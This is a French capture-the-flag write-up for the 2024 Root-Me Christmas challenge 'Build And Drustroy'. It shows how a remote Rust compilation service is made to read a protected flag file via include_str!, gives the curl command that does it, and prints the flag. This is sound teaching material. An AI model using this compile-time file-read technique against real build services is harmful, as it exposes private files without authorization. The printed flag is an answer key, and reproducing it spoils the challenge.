✅ Day 04 - Build And Drustroy
- MISC
- Date de résolution : 04/12/2024
Reconnaissance
Le chall contient une image docker hébergeant un programme rust tournant en mode daemon qui prend en input du code source rust et retourne le code compilé grâce à une commande cargo build
Exemple fourni :
1curl -sSk -X POST -H 'Content-Type: application/json' https://day4.challenges.xmas.root-me.org/remote-build -d '{"src/main.rs":"fn main() { println!(\"Hello, world!\"); }"}' --output binary
L'objectif est la lecture d'un flag se trouvant dans le fichier indiqué dans le docker-compose :
1services:
2 chall:
3 build: .
4 ports:
5 - 3000:3000
6 volumes:
7 - ./flag.txt:/flag/randomflaglolilolbigbisous.txt
8 - /tmp # required for build & temp dirs
9 restart: unless-stopped
10 read_only: true
Et si nous pouvions inclure le contenu d'un fichier local lors de la compilation ?
Exploit
Hummm... Une fonction le permet en rust : include_str()
Essayons ceci :
1curl -sSk -X POST -H 'Content-Type: application/json' https://day4.challenges.xmas.root-me.org/remote-build -d '{"src/main.rs":"fn main() { const FILE_CONTENT: &str = include_str!(\"/flag/randomflaglolilolbigbisous.txt\"); println!(\"The Flag :\n{}\", FILE_CONTENT); } "}' --output binary
Et executons le binary généré : tada !!
FLAG
The flag is : RM{OffenSkillSaysHi2024RustAbuse}